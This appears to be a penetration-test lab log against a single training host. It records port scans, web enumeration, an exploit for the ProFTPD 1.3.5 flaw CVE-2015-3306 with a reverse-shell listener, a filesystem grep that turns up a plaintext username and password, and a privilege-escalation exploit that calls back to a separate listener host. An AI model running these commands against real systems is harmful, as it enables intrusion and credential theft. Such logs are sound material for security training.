VPS1723 V2

๐Ÿงช Pentest Log: {{date:2025-08-27}}

๐Ÿ” Target Information

ip=10.11.1.53

๐Ÿ“ก Enumeration

๐Ÿ”Œ Port Scanning

Command Used

ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt

nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt

Port 21

ProFTPD 1.3.5

Google for "ProFTPD 1.3.5 exploit", found

CVE-2015-3306

Port 22

Port 80

Web Content Enumeration

gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt

dirsearch -u http://$ip -r -o dirsearch.txt

wpscan --url http://$ip

๐Ÿ’ฃ Exploitation

๐Ÿ“Œ Vulnerability Summary

๐Ÿš€ Exploit Execution

๐Ÿ”ง Exploit Method

Tool / Script Used:

https://github.com/t0kx/exploit-CVE-2015-3306

python3 /home/kali/Documents/oscp/Shell\ Handler/penelope/penelope.py -p 80

python3 ./exploit.py --host $ip --port 21 --path "/var/www/html/"

๐Ÿงฌ Privilege Escalation

๐Ÿ‘ค Current Access

๐Ÿ” Enumeration

Credential Find:

find . -type f -exec grep -iIl -- "password: " {} + 2>/dev/null

found

./demo.txt

username: demouser
password: x8rqsPHQ6X98A

๐Ÿ”“ Privilege Escalation Exploit

๐Ÿ“Œ Exploit Summary

๐Ÿ”ง Exploit Steps

python3 /home/kali/Documents/oscp/Shell\ Handler/penelope/penelope.py -p 10000

python3 ./exploit.py -u 'http://10.11.1.53:10000' -un 'demouser' -pw 'x8rqsPHQ6X98A' -rh '172.16.1.2' -rp 10000
djk43nls93mwz17dfvba